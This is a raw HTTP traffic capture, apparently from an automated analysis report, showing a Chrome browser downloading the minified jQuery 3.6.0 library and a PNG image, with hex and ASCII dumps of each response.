2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-10 11:06:55 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50059	151.101.130.137	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:56 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:06:56 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 10 Jan 2025 11:06:56 GMT Age: 1991742 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740032-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 1 X-Timer: S1736507216.262571,VS0,VE1 Vary: Accept-Encoding
2025-01-10 11:06:56 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-10 11:06:56 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-01-10 11:06:56 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-01-10 11:06:56 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-01-10 11:06:56 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-01-10 11:06:56 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50057	216.58.206.65	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:06:56 UTC	916	OUT	GET /img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://5qwo.oventera.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:06:57 UTC	470	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v367e" Expires: Sat, 11 Jan 2025 11:06:56 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="userinter.png" X-Content-Type-Options: nosniff Date: Fri, 10 Jan 2025 11:06:56 GMT Server: fife Content-Length: 87859 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 11:06:57 UTC	920	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0d 44 00 00 07 80 08 02 00 00 00 33 3b 2b ce 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c ec da 21 01 00 20 00 c0 30 a0 7f 58 04 02 49 8c 0b b6 04 0f f0 b9 cf 1d 00 00 00 00 00 00 00 00 00 40 67 d5 01 00 00 00 00 00 00 00 00 00 f0 3b 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 Data Ascii: PNGIHDRD3;+sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATx! 0XI@g;3\|3@
2025-01-10 11:06:57 UTC	1390	IN	Data Raw: 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 Data Ascii: 3@13\|3@13\|3@13\|3@13\|3@13\|3
2025-01-10 11:06:57 UTC	1390	IN	Data Raw: 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 Data Ascii: 13\|3@13\|3@13\|3@13\|3@13\|3@1
2025-01-10 11:06:57 UTC	1390	IN	Data Raw: 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 00 00 00 00 00 10 33 f3 01 00 00 00 00 00 00 00 00 40 cc cc 07 00 00 00 00 00 00 00 00 00 31 33 1f 00 00 00 00 00 00 00 00 00 c4 cc 7c 00 00 00 00 Data Ascii: \|3@13\|3@13\|3@13\|3@13\|3@13\|
